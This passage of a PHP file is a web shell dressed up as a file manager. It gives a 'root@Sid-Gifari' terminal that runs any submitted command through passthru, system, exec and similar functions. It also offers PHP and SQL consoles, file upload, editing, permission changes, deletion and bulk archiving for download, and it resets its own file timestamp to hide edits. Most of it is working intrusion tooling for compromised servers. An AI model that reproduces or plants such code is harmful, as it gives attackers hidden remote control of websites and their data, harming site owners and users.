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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
